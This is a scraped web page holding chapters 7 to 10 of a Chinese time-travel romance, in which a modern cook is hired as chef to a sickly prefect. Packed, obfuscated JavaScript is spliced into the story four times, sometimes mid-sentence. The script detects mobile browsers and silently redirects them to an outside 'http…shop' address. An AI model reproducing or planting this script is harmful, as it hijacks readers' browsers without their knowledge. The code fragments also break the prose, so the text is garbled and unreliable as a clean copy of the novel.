0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395791|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 厨房! 看着少说有一百来个平方,肉类、海鲜、河鲜、蔬菜、调料,应有尽有,且都被妥善储存,她甚至看见厨房一角有一个大木桶用来装冰块。 “知州大人不挑食,各位请自行决定菜品,半个时辰后我会来取菜。” 半个时辰就是一小时,时间还算充裕。 其他厨子都开始挑选食材了,秦见君还在砧板前发呆。 在外面排了一天队,她早就想好要做什么了,只不过这菜不费工夫,不必急着动手,她正好放空脑袋歇会儿。 裴小之在厨房外头看了会儿,转身去找裴眠。 “郎君,这是今日最后一批厨子了。” 裴眠刚刚处理完公务,有些疲累,正闭着眼休息。 裴小之上前替他揉了揉太阳穴,轻声道:“郎君......我觉着这样找厨子......不太好。” “嗯?”裴眠闭着眼应了一声。 “每个厨子的手艺不同,且同一个厨子做出来的每道菜也不同,兴许郎君喜欢这道,却不喜欢另一道,总不能一个厨子做一道菜,都招入府吧?” 裴眠没接话,他当然知道这个问题,不过他本意也不是真的想招厨子,不过是为了堵爹娘的嘴罢了。 “再等两日,没招到就撤了告示,不招了。”裴眠道。 裴小之的脸皱成一团,小声嘟囔:“这段日子要试厨子们的菜,你才多吃了两口,若是不招了,岂不是又要不吃东西了?” 裴眠微微蹙眉,裴小之只好闭上了嘴。 秦见君歇了好一会儿才动身去拿食材。 她取了三个鸡蛋,几根小葱,一块肥猪肉。 将鸡蛋打入碗中,斜插着筷子搅拌,她的手十分灵活,捏着筷子甩出了残影,鸡蛋很快被打散,接着往蛋液中加水,然后继续搅拌均匀。 锅里倒水煮上,她转身去洗了小葱,切成葱粒,此时水正好开了,她将盛着蛋液的碗放入锅中,碗上盖着纱布,再将锅盖盖上蒸。 鸡蛋羹蒸好后出锅,撒上葱花,秦见君将肥猪肉扔进锅里熬出猪油,勺起来淋在葱花上,碗中顿时滋滋作响,葱香和猪油香相继爆开。 她满意地耸了耸鼻子,又淋了些酱油上去,一碗猪油香葱鸡蛋羹就做好了。 小厮按时来收了每位厨子的菜,鸡蛋羹被取走了,秦见君才后知后觉有些紧张起来。 她观察到其他厨子的花样也很多,大菜、凉菜、糕点都有,她的这碗猪油香葱鸡蛋显得平平无奇。 但愿这位知州大人是个从小锦衣玉食的大少爷,如此才能凸显家常口味的鸡蛋羹有多特别...... “菜来了。”裴小之领着小厮到了裴眠的面前。 十道菜各不相同,院子里飘着食物香气,裴眠却一点胃口都没有,今日吃得够多了......他恹恹地抬眼扫过十道菜,觉得有些想吐。 “郎君,你怎么了?”裴小之跟在裴眠身边这么多年,十分敏锐地发现了他的异常。 “菜都分下去吃了,让厨子们走吧。” 裴小之心下叹气,这是又犯了恶心,他转头扫了一眼十道菜,有些惋惜地挥了挥手:“都拿下去吧。” 8. 第 8 章 小厮们应声,端着菜要走。 “等等。”裴眠又出声了,“还是留下吧。” 裴小之心疼地看着裴眠,他家郎君虽然面冷,但心热,知道厨子们从各地赶来,此时还忐忑地待在厨房等结果,便是忍着恶心也要尝一尝。 裴眠抿了一口冰糖百合马蹄羹,入口顺滑,但他觉得太甜,多喝一口便有些腻了,于是用清水漱过口,夹起了下一道五香仔鸽。 鸽肉嫩滑,但还是难掩肉腥,裴眠只嚼了两口便侧头吐了,这肉腥味引得他愈发不适,吐得停不下来,颈上泛红,青筋暴起,好一会儿才勉强歇了。 “郎君......”裴小之有些不忍,提议道,“实在难受便不吃了......” 裴眠用清水漱了好几次口,勉强将嘴里的油荤味压了下去,抬眼看见下一道是鸡蛋羹,心里有些抗拒起来。 先前也不是没人做过鸡蛋羹,要么带着蛋腥味,要么就是寡淡无味...... 裴眠犹豫了一下,还是用勺子挖了一点鸡蛋羹送进嘴里。 蛋羹入口即化,舌面微咸,唇齿口鼻间皆是猪油与葱花的香气,裴眠微微睁大了眼睛。 一旁的裴小之少见自家郎君有这样的神色,于是好奇地凑上前去问:“这道如何?” 裴眠没说话,又挖了一勺鸡蛋羹送进嘴里,这次香气更浓,他忍不住眯起了眼睛。 自他吃不下东西以来,菜色多偏素,于是他总想尝些荤菜,但油荤之食又多伴腥气,他这病对腥气尤为敏感,总是吃了又吐。 可这鸡蛋羹不同,鸡蛋香而不腥,讨巧在用了猪油浇汁,而非直接以猪肉沫入羹,猪油香气迸发,口感顺滑,又不带一肉腥气,裴眠吃得十分满足。 他在外人面前惯是个喜怒不形于色的,即便十分喜欢这道鸡蛋羹,也还是放了勺子去试下一道。 吃吃吐吐的总算将十道菜都试完了,裴眠靠回轮椅上,抬手点了点那道鸡蛋羹。 裴小之面露喜色,总算有他家郎君能看上的菜了! 秦见君在厨房里等得无聊,便同旁边的厨子说起话来。 聊了好一会儿,她发现大荆的菜系和做法都挺全的,只是缺了些创新。 大厨们做菜大差不差,只有调料和火候上的细微差距,在食材搭配和烹饪手段上的想法很局限,难怪知州大人试了这么多厨子都没几个满意的呢...... 早知道做些创新菜了,她想起在网上看见别人大学食堂里有橘子炒猪肉这种创意菜,也不知道味道怎么样......到底是甜口还是咸口呢? “一百三十二号。” 秦见君正在魂游,忽然被身侧的厨子撞了一下:“叫你呢!一百三十二号!” “在!在!”她一个激灵打起了精神。 裴小之对她有印象,是位长得很漂亮的小娘,方才在厨房里发了许久呆才开始做菜,他以为她是时间不够才随手做的鸡蛋羹,没想到“随手一做”都这么好吃! “秦小娘,请跟我来,其余各位辛苦了,知州大人为各位在前厅备了茶水,请移步。” 除秦见君外的厨子们都面面相觑,看来这秦小娘是被选中了,先前的厨子们可都是做完菜就出府了,这次竟留他们用了茶水再走,想来都是托秦小娘的福。 “那咱们......走吧?”有个厨子道,其余厨子纷纷应和,经过秦见君身边时纷纷同她道谢,小声说沾她的光了。 秦见君心里也松了口气,厨房都这么阔绰,想来知州大人还是挺有钱的,做他的私厨应该能赚不少吧? “我家郎君喜欢你做的鸡蛋羹,暂且留你在府上。”裴小之一边带路一边道。 秦见君一听“在府上”,这是包住的意思吧?自己是管厨房的,那吃也不成问题了,也就是说这工作包吃包住,到手的都是净工资! “不知......这工钱怎么算?”秦见君轻声问,虽然有些不好意思,但打工人最在意的就是工资了,这必须得问清楚才行。 裴小之笑着道:“亏待不了你,每月初发工钱,四贯。” “四贯!”秦见君失声喊了一句,猛地意识到自己声音大了,又立刻闭了嘴。 一个月四贯,四贯是四千文,也就是每日能赚一百三十多文! 绵州比湖梁县富,街上吃食价格也贵一些,她在脚店里听伙计报价,能算出来寻常百姓一整天都在外面吃,一日也最多花个百文,她吃住都在知州府里,攒钱应该很快的...... 裴小之看秦见君的表情就知道她在算钱,好心提醒道:“秦小娘可要小心些。” “什么?”秦见君正想着抽空出府去问问租店铺的行情,一下子想要开酒楼肯定是不成的,要慢慢积累资本才行。 “你应该听说过,先前府中也招过一个厨子......”裴小之似是有些不好意思道,“不过他只有一道菜符合我们郎君的胃口,郎君也不能日日都吃一样的,所以最后还是将他辞了,你若是想留下......就得看你本事了。” 意思是如果她明日的吃食做得不如知州大人的意,就会被赶出府。 秦见君点了点头,谢了裴小之的提醒。 裴小之对秦见君很有好感,毕竟她看着很漂亮无害,做的鸡蛋羹能让裴眠全吃进去还不吐。 最重要的是她不恃才傲物,为人谦逊真诚,也不耍什么狐媚心思,无论是长相、手艺还是品性都是一等一的好。 从厨房出来没走多久,裴小之就停在一个小院子门口。 “秦小娘先住这里吧,这是落霞轩,离厨房近,方便你行事。” 秦见君微微探头看了一眼院子,不算很大。院墙是花式砖墙,墙体靠上有一半的墙面都是斜砖镂空,看着透气却不暴露。 院子里是鱼鳞铺地,以瓦为界,框内铺着碎瓦片,近看似鱼鳞交叠,远看似波浪翻涌,线条柔美漂亮。 她又转头去看屋子,从外面看比厨房还大,比井沟村秦家的三间屋子加起来都大。茅房在院子角落,非常方便,秦见君非常满意。 裴小之见她挪不开眼便知道她喜欢这里,他转过去看了看不远处的淌虹苑,那是裴眠住的院子,离厨房也近,眼下还亮着灯。 “秦小娘放了行李也可去前厅,茶水已备好,我就先走了。”裴小之道。 他看秦见君衣着朴素,忽然想起先前小厮递上来的身份登记上写着,她是从湖梁县井沟村来的,那是个小地方,于是他又补了一句:“不止茶水,还有糕点,只是过了饭点不好叫‘菜宴’。” 原来如此,秦见君方才还想着茶水有什么好喝的,有这时间还不如自己去厨房做晚饭呢...... “多谢......不知如何称呼?” “裴小之,叫我之管家便好。”他嘴角抿着笑,忽然眉头一紧,指着秦见君伸长脖子时露出的青紫伤痕道: ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395792|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' “秦小娘,这是......” 秦见君抬手摸了摸脖子,稍稍用力碰到伤处便会疼,她垂着头,一副温顺的样子,小声道:“我不肯出嫁,所以家里人就......”后面的话她没再说下去。 裴小之轻叹了一声,不知该如何安慰。 秦见君看他这个样子就猜测,恐怕大荆律法确实是无法定义家暴的。 “唉......都过去了......”秦见君反过来安慰了裴小之一句。 裴小之点了点头,怕误了裴眠睡觉的时辰,没再多说,脚下有些匆忙地往淌虹苑去了。 秦见君顺着裴小之离去的方向看了看,那边灯火影影绰绰看不明晰,她也不纠结,转身推开了房门。 屋子里用具齐全,连被子都是全新的。 她把随身带着的路引和地图塞进柜子里就去了前厅。 “郎君,秦小娘已住下了。” 裴眠此时已经洗漱好了,正坐在床上听小厮念书。 见裴小之进来,那小厮便收了书下去了。 “嗯。”裴眠的心中也不免有些忐忑,怕那位秦小娘明日做不出合口味的吃食,到时又要换厨子。 就在裴眠要歇下的时候,袁原进来了,裴小之瞬间露出了不高兴的神色,但也没说话,只站在一旁候着。 袁原将手中的信递给裴眠,道:“赵大人在您走后,将群牧司李平宇调到了您先前的位置上,不过官家并未召见过他。” 裴眠看过信,勾了勾嘴角,嗤笑了一声:“群牧司......赵广涵这是在羞辱我......” 裴小之也有些不高兴:“原本判太常礼院事就是虚职,若不是官家看重郎君,怎会日日召郎君去议事?如今换了个养马的马夫,官家哪里还看得上?” “还有一事。”袁原取出了第二封信递给裴眠道,“春闱在即,此次主考官定了学士院的卢飞枫大人。” 听到科举,裴眠垂了垂眸,半晌才道:“知道了,都下去吧。” 待下人们都出了院子,他望着窗外月色,许久才收回目光,慢慢挪到了轮椅上。 木轮碾压在石甬路上,发出轻微响声,裴眠停在了干涸的池塘边。 科举是寒门学子入朝堂的唯一途径,裴眠在朝堂的这些年都是由他主考,手下考出了无数优秀官员。他们有的留在虔渊州入朝为官,有的派往地方,但无一不是在清贫中挣扎。 大荆朝的官制繁复,官员数量多,职位不够便新创职位,尸位素餐之事屡见不鲜。 多数官员食朝廷俸禄,却不为百姓做实事,揽着大把的钱导致国库空虚。 如今南方水患连年不断,拿不出钱疏通河道只能暂时修坝围堵,若是哪日溃堤了,百姓便要遭殃...... 裴眠决意改官制,官家虽赞同,却没有实权去做,于是裴眠甘愿当靶子站出来。 可他才刚提出要将两府三司重新整合,便收到了朝中官员的集体弹劾,官家打太极好几年,终是护不住他,将他派往绵州休养。 裴眠犹记得自己出虔渊州那日,赵广涵来送他,看他的眼神如同看一条丧家之犬。 如今他吃不下东西、身子日渐虚弱,想要重返朝堂,实在是有心无力...... 秦见君吃了“茶水”,在前厅告别了其他厨子们,迈着轻快的步子回了自己的落霞轩,不过刚走到院子门口,便看见不远处的塘边似乎有人。 9. 第 9 章 月色倾注,嫩叶掩映,不久前才被清理过的池塘中重新长满了野草,连岸边都冒出了些不知名的小花。 那人坐在轮椅上,只露出半个脑袋,秦见君看不清楚,便往前走了两步。 正要出声询问,忽然身前出现一人挡住了她。 “退后。”那人声音沉沉的,秦见君下意识退了几步,与他保持安全距离,这才抬头去看。 这男人身量高,一身黑色劲装。秦见君以自己一米六五的身高比对了一下,他少说有一米八五,眼睛狭长但黑白分明,鼻子很高,嘴唇很薄。 长得像只狐狸似的...... “抱歉,我看池塘边好像有人......” 男人微微侧过身,秦见君顺势抬眼看过去,池塘边空空荡荡,什么人都没有。 她心里有些打鼓,她原本不太信鬼神之说,但自己穿越这件事本就很离奇了,这下又突然看见塘边大变活人,很难不被吓到。 她咽了咽口水,又道了一次歉,说自己要回落霞轩了。 那男人二话不说走在前面带路,秦见君心不在焉地跟着。 一想到塘边那个轮椅上神出鬼没的人,她心里就有些慌,脚下难免急了些,男人停下脚步后她刹不住,一头撞了上去。 “对不起对不起!”秦见君连忙退开,不知是碰到了哪里,男人身上掉下来一块木牌。 秉承着良好的道歉态度,秦见君眼疾手快地帮忙捡起了木牌。 今夜月光明亮,甬路上的砖面几乎被照得反光,秦见君眼神好,清楚地看见木牌上写着“知州”二字,她瞪大了眼想仔细看,木牌却被那男人抽走收了起来。 秦见君又去看那男人,黑色的衣服看不出什么材质,但是身形挺拔、气质冷冽,看着也就二十多岁的样子,莫非这就是知州大人? 袁原低头同秦见君对视上,被她眼里的探究和好奇盯住,他有些不自在地移开视线。 秦见君福至心灵:知州大人肯定是不想暴露身份! 她侧头一看,已经到落霞轩了,这人对这么大的知州府了如指掌,而且身上还带着知州令牌,身份不言而喻。 “麻烦您带路了,我先回去了。”秦见君不太想跟自己的大老板有过多交流。 古代官员和贵族权利大,这知州冷着脸看起来不好惹,万一做错什么事让他不高兴,直接将自己杀了咋办? 见男人点头,她忙转身就走,还没走两步,忽然又想起了什么,转身问:“能不能问问,您喜欢......您知道知州大人平时喜欢吃什么吗?” 袁原被问得一怔,继而反应过来,她是在打探裴眠的饮食偏好,投其所好才能在知州府中留下来。 “不知。”他没说谎,自他见到裴眠以来,裴眠状态好的时候什么都吃,状态不好的时候只吐不吃,实在看不出来饮食偏好。 秦见君微微撅了撅嘴,看来这个知州大人确实不挑食,什么都吃...... 回到屋子里,秦见君四下看了看,发现床尾藏着个小暗屋,门口有一扇三折屏风,转进去里头放着个大木桶,她眼睛一亮:是洗澡的地方! 在板车上窝了三日,路上尘土飞扬,她的头发和衣领里全是沙土,这下顾不上犯困,赶紧去厨房烧了两大锅热水挑回屋子里。 泡进浴桶的瞬间,她长叹了一口气。 屋子角落里摆着个小木盒,她打开发现里面装着一个个小丸子,凑过去闻了一下,一股清香扑鼻而来。 取了一个丸子在手里摆弄了几下,秦见君猜测这应该类似于香皂或者肥皂,既然跟浴桶放在一起,肯定是洗澡的时候用的,于是用了好几个丸子把头发和身体上上下下搓了个干净。 她脑袋搁在浴桶边上,闻着空气中浅淡的清香,身心放松,待到要起身时才想起来自己没有换洗衣物...... 秦见君擦干了身子,摸到床边裹上被子,低头发现床上摆着两套衣裳,刚刚被被子压住了才没看见,想来是裴小之准备的。 秦见君松了口气,还好有备用衣裳,先前那套男装太脏了,她打算直接扔掉。 秦见君拿了肚兜穿上,又套上了素色睡衣,这才坐下来看另一套衣裳。 是一套淡粉色的衣裳,上身是窄袖对襟短衫,下身是侧开叉阔腿长裤,窄袖不妨碍干活儿,阔腿长裤又很像裙子的样式,美观又方便。 秦见君满意地将衣裳收好,这才看见衣裳下有个小瓷瓶,揭开瓶盖,一股药味扑鼻而来。 想起裴小之问过她的伤......秦见君心里一暖:这世上还是好人多啊。 上了药,她躺在床上盖好被子,明明洗澡的时候还有点困,洗完了这会儿倒是精神了,她有点无语地盯着房梁,也不知道现在几点了...... 府中没有养鸟雀,现在静悄悄的,秦见君左右看了看,强制自己闭上眼睡觉,结果刚睡过去就梦到了秦留志抄起棍子抽她的场景。 倏地睁开眼,她额头冒了点冷汗,思绪也有些乱。 自她在井沟村醒来已有一个多月了,说长不长、说短不短的日子里,她离开湖梁县到了绵州,从四面漏风的小屋子到了如今的落霞轩,孑然一身,一如她当初学好厨艺后拎着行李箱离开含萃楼。 韩老爷子的排位她带不走,只能每年清明、中元去墓地看看他。 说起来她记忆中少有的温暖都是韩老爷子带来的。 自他离世,含萃楼被他儿子接管,秦见君就又变回了“孤家寡人”,她赖在含萃楼将老爷子留下的菜谱都烂熟于心后,才独自踏上了新旅程。 只不过自己的事业才刚刚有了起色,就被吊脚手架给砸到这儿来了,一切都要从头再来。 她摇了摇头,不想这些了,还不如想想明早做什么吃呢...... 脑海中浮现各种包子、油条、汤面的做法,她想着想着就睡了过去,这次没再做噩梦。 翌日清早,裴小之敲了裴眠的房门,听里头应了声,他才进去。 进门后裴小之愣了愣,往常这时候裴眠才刚醒,今日怎么都穿戴整齐了? 裴眠的手揣在大氅中,抬了抬下巴:“走吧,吃早饭。” “啊?”裴小之傻眼,“我方才经过落霞轩,秦小娘还没起呢......”他转头看了看,天也才微微亮。 裴眠蹙眉。 “我现在就去喊她起来!” 赶了五天路,好不容易睡了个好觉,秦见君觉得身上有点痛,意识也昏昏沉沉的,似是要把这段日子缺的觉都补回来。 “秦小娘?秦小娘?” 听到有人叫,秦见君缓缓睁开眼,醒了会儿神才回道:“谁啊?” 裴小之站在院子门口不敢进去,毕竟是女儿家的住所,他只好扯着嗓子问:“秦小娘起了没?我们郎君等着吃饭呢!” 秦见君瞬间清醒了,对!她现在身处大荆朝,在知州府上当厨娘! 匆匆忙忙换好衣服,去院子里打水洗漱完,她马不停蹄赶往厨房,裴小之跟在她身后。 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395793|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 昨夜原想着做水扯面,眼下看着也来不及了,秦见君站在厨房环视了一圈,心里迅速盘算着做什么早饭。 这厨房四面都开着大窗户,采光极好,这会儿晨曦正盛。 屋顶的瓦片并不全用青瓦,还有将贝壳磨成薄片后制成的瓦片,几近透明的贝壳瓦将阳光迎了进来,照得厨房愈发亮堂。 裴眠被袁原推到了厨房不远处,他抬手示意停下,就在树荫中透过大窗户看秦见君做饭。 秦见君先把米粉放进锅中煮着,然后取了碗,加入酱油、醋、白糖、芝麻油、清水、胡椒粉和盐调好酱料。 她取了一块猪肉切丝,裹上盐、白糖、酱油和淀粉,抓匀了放一边腌制,接着洗了葱、蒜、豆芽和青菜,切好备用,侧身起了另一口锅倒油,油热后磕了三个鸡蛋进去,橙色的鸡蛋液迅速起泡变为淡黄色,秦见君用锅勺将鸡蛋搅散。 裴眠眯着眼,他这个角度只能看见秦见君的背影,她看着有些瘦弱,包裹在淡粉色的衣裳里,左右来回备菜,像只轻盈的蝴蝶。 这只蝴蝶偶尔侧过脸,裴眠便能看见她饱满的脸部线条,和细腻光滑的皮肤,厨房中阳光充足,像是给她镶上了一层金边。 鸡蛋半熟时秦见君便将它盛了出来,把葱蒜和腌制好的肉丝放入锅中炒熟,葱蒜们甫一接触到油便滋啦作响,爆发出浓郁的香气,引得一旁的裴小之探头去看。 肉丝炒熟后,她抬手将豆芽和青菜扔进锅中继续翻炒,单手翻炒的同时,她将一旁煮着米粉的锅打开,见米粉已经熟了,便顺手用笊篱捞了起来搁在碗上晾着,接着将方才调好的酱料倒入锅中随豆芽、青菜等一同翻炒。 刚刚还略显清淡的豆芽和青菜染上酱色,翻炒间油水发亮,裴小之看得不由咽了咽口水。 秦见君熄了小火,暂放了锅勺,把笊篱中的米粉拿去过了一遍凉水,稍稍沥干后倒入锅中,加柴转大火,将炒到半熟的鸡蛋也倒了进去,开始大力拌炒。 炒粉的咸香味飘出厨房老远,连袁原都忍不住咽了一口口水。 待米粉拌匀炒熟,秦见君便熟练地装盘。先装粉,最后将青菜与豆芽夹出来放在上面当点缀。 这一盘炒粉青绿夹着明黄,色泽漂亮、香气扑鼻,裴小之脸上明明白白写着“满意”。 秦见君稍稍松了口气,还好没搞砸,可不能第一日就丢了工作啊。 裴小之端起那盘炒米粉,忍不住问秦见君:“秦小娘,这菜叫做什么?” 秦见君愣了愣......咋?还要她给取名? “炒粉。” 似是少见这样简洁的菜名,裴小之愣了一瞬,随后又道:“那我将炒粉带去给郎君了......”说着,他脚下却不动。 秦见君见状只好在原地候着,看他还有什么吩咐。 “那个......锅里的......”裴小之的目光紧紧黏在锅中剩余的炒粉上,喉结上下滚动。 秦见君瞬间会意,连忙道:“会留给之管家的,放心。”裴小之对自己挺好的,又送衣裳又送药,她正愁没机会报答呢。 裴小之这才高高兴兴端着盘子走了,待他走远,秦见君原本挺直的腰背便瞬间垮了下来,她一手扶着腰一手撑着台面,脸都皱成小笼包了。 劳累过度导致肌肉酸痛,她只好靠坐在台面上休息。 裴眠越过裴小之的肩膀,看向厨房里的小厨娘,她形态懒散了许多,看着似是有些疲惫。 给自己做饭......有这么累吗? 10. 第 10 章 秦见君靠在台面上稍稍缓了会儿,柔和的阳光洒落在砧板上,方才用来装蛋液的碗沿还泛着光,她抬头望向窗外绿树,微风轻拂,许久没有这么宁静的时刻了。 自从在网上小有名气后,她每天都在做饭、拍视频、开直播,连轴转久了,已经很久没有关注过窗外的风景了...... 结果拼命卷了那么久,却在存款快要够的时候遭遇意外,这是自己倒霉,还是命中注定呢? 秦见君闭上眼,仿佛闻到了窗外刚冒头的花骨朵儿散发的清香,她忽然有一种前所未有的放松感,她在这里有爹娘,不再是“没人要的孤儿”,不会有人对她施予不必要的同情,她的“自食其力”也不会再被视为“故作坚强”...... 挺好的,安心在这里攒钱,然后开一家属于自己的酒楼! 秦见君仰起头,微微翘起嘴角。 “秦小娘?” 耳边响起裴小之的声音,秦见君转头去看,他正放下空盘子,脸上是掩饰不住的喜悦:“郎君很喜欢你的炒粉!昨夜的鸡蛋羹他也吃了整碗,我已经许久没见他吃过一整碗吃食了!” 秦见君眨了眨眼,有些疑惑:那个高大的男人看起来不像吃不下东西的样子啊...... 裴小之放下盘子也没耽误,自己取了碗盛了炒粉,乐滋滋地招呼秦见君一起吃。 他低头将喷香的炒粉送入嘴里,爽滑的米粉裹满了酱料,中间夹着肉丝、青菜和豆芽,口感丰富、油润鲜香,他不禁加快了速度往嘴里扒粉。 秦见君将锅里剩下的一点点粉都盛了出来,她刚要张嘴,忽然想起来什么,问裴小之:“之管家,咱们府中一日吃几餐啊?” 裴小之嘴里塞得满满的,连腮帮子都鼓起来了,他努力张开嘴回道:“三餐,劳烦秦小娘了......” 秦见君松了口气,她在现代时早饭吃得不多,但是井沟村一天只吃两餐,她有些受不了中午饿得发慌的感觉,会故意早上吃撑点,听裴小之说府中吃三餐后,她便放心地将碗里那点粉嗦进了嘴里。 “之管家,我能出府吗?”她不太确定自己这个厨娘身份能不能自由出入知州府,但她必须要上街了解这边的市场行情,如此才能大致估算自己要攒多少钱才能开上酒楼。 裴小之吃完粉,意犹未尽地舔了舔嘴角,回道:“只要不耽误郎君吃饭,你想什么时候出去,尽管和门口的小厮说一声。” 秦见君点了点头,努力回忆大门口小厮的模样:“那个下巴上有痣的大哥?” 裴小之回以一个莫名的表情,蹙眉道:“那是大门的小厮,我们出入都走侧门或后门。” “啊......哦!”秦见君忽然反应过来,好像是有这么个说法,古代人纳妾都只能走侧门,下人也大多是走后门的...... 裴小之看秦见君开始收拾厨房,扭捏了一会儿,还是上前问:“秦小娘,午饭打算做什么?” 秦见君正在刷锅,手上动作干净利落,她一心二用地扫了一眼厨房里的食材,在心里盘算着。 “早饭吃得有点油,中午吃点清淡的吧......包馄饨怎么样?” 裴小之已经被秦见君的炒粉征服,现在无论听她说要做什么,都觉得会很好吃。 “好啊好啊!” 秦见君回头看了他一眼,虽然叫“之管家”,但看起来年纪不大的样子,性子也很可爱。 “之管家,你多大了?” “我今年二十六了。” 秦见君惊讶地看着他,明明看起来像个高中生,白白嫩嫩又圆脸圆眼的,都二十六了? 不过二十六在古代应该算“大龄男青年”了吧? “之管家成家了吗?”秦见君忍不住八卦。 “没呢......”裴小之有些羞赧地挠了挠头,解释道,“我们郎君还没成家,我哪敢啊......再说了......我还想服侍郎君一辈子呢......” “你和大人很早就认识了吗?”秦见君不太懂,那个冰块脸知州有什么好的,让裴小之对他死心塌地。 “我四岁那年就到了裴府,啊......不是现在这个裴府,是虔渊州的裴府,我没有爹娘,是老爷和夫人从人牙子手里买来的,让我陪着郎君读书。”说起知州大人,裴小之脸上洋溢着自豪,“我们郎君读书可厉害了,夫子直夸他!后来郎君参加科考,中了状元,是凭自己的真才实学进的官场!” 说到这里,他似乎是想到了什么难过的事,挑起的眉毛耷拉了下来,肩膀也塌了些,“可我们郎君自从入朝为官,胃口就一天不如一天......” 秦见君猜测,这知州大概率是在官场上遭遇了什么,每天郁闷得吃不下饭,难怪瘫着一张脸,毕竟若是心里不高兴,大多是会直接反映在脸上的。 收拾好厨房,秦见君便拜托裴小之教她看莲花漏,她很聪明,裴小之教了一遍便将其掌握,总算能看懂时辰了。 等她学会看莲花漏,已经快中午了,裴小之说要去看看自家郎君,秦见君等他走了便直接开始剁肉馅。 砧板砰砰作响,厨房里响起轻快的节奏,秦见君久违地感受到了做饭的快乐,不用想着镜头观感,不用在意妆发,只需要专心地盯着食材。 “秦小娘?秦小娘?”裴小之急急忙忙跑过来,面色焦急,额头上全是汗。 “怎么了?”秦见君放下刀。 裴小之跑近了,看秦见君一脸无辜的样子,他有些局促地捏了捏手指道:“郎君方才将早饭都吐了出来,我来带你去请罪......” 裴小之也有些担忧,上次留下来的厨子第二日做的早饭不合裴眠口味,一口没吃,也是他带去“请罪”的,结果到了淌虹苑,裴眠什么也没说,挥挥手便将人辞退了。 裴小之怕秦见君也被辞退,心中忐忑得不行。 秦见君被带进了淌虹苑,这里的屋子很大,她没有在前厅等,而是被带去了卧房。 隔着一扇四折屏风,秦见君跪在地上,隐约看见屏风后有一个高大的身影站着。 她跪下后,屋子里只剩下那黑影与屏风这边的裴小之,许久都无人开口。 秦见君在心中叹了口气,许是炒粉做得太油腻?这位知州大人喜欢清淡口?无论如何,若是有商量的余地,是一定要争取争取机会的...... “咳咳......”屏风那边传来一阵咳嗽声。 秦见君微微抬头去看,那黑影弯下了腰。 床上的裴眠咳醒了,床 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13395794|141165||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 边站着的袁原连忙弯腰给他拿了枕头靠着,顺便将被子掖了掖,遮住裴眠瘦得只剩皮包骨头的大手。 裴小之知道裴眠醒了,便道:“郎君,我把秦小娘带过来了。” 裴眠转头去看,隔着屏风见人跪着,他蹙了蹙眉,光做个早饭都累得靠坐在台面上,这会儿也不知跪了多久。 “先起来。” 秦见君转头去看裴小之,他点了点头,她这才敢起身,心想古代最不方便的便是尊卑礼仪了,在她那个人人平等的年代,见谁都不用下跪的,即便对社交礼仪一窍不通,也只会被骂一句“没礼貌”,不像古代,动不动就要杀头...... 裴眠也不知自己这是怎么了,从前呕吐都是因为进嘴的东西不好吃,自己心生排斥,今日这炒粉他很喜欢,却还是吐了,方才大夫来看过,只说看不出什么缘由,约莫还是裴眠自己的心病。 “今日之事不怪你,你只管做好分内事就好。” 裴眠此话一出,连袁原都惊讶到微微瞪眼。 秦见君也有些意想不到,原来知州大人脾气这么好的吗? “小之,去另请一位大夫来。”方才来替裴眠诊脉的齐大夫是他从虔渊州带来的,自他饮食有异后便一直跟在他身边,每次诊出来的结果都是身子除了虚弱,没什么大碍,吃不进东西是因为心病。 既然已经到了绵州,事务也不那么繁忙了,不如就听官家的,好好养养身子,先换个大夫来瞧瞧。 秦见君有些疑惑,她怎么觉着知州大人今日的声音,同之前听的不太一样?这也太虚弱了,但他又好端端站着,实在是很诡异。 裴小之动作麻利,没一会儿便领进来一位大夫。 那大夫眉须花白,看着就很有经验,秦见君在心底赞叹完,又忍不住原地挪了挪步子,知州大人没开口,她也不敢走,可是她面都没揉,再晚一些就要耽误中午的小馄饨了...... “大人身子虚弱,需缓缓进补。”大夫苍老的声音传了出来。 裴小之在一旁道:“可我们大人吃了会吐,也不大爱吃。” 那大夫听了,又将手搭了上去,咂摸了半晌才道:“身子看着无大碍,许是心病?” 裴小之与袁原对视了一眼,先前齐大夫总说是心病,他们还心存疑惑,如今算是相信了。 秦见君一个人在屏风外,仗着大家都围着大夫,自己便抬手转了转腰身,活动了一下筋骨,她一边伸懒腰一边想:胃是情绪器官,知州那张冰块脸看着就臭臭的,心情能好到哪里去、胃口又能好到哪里去呢? 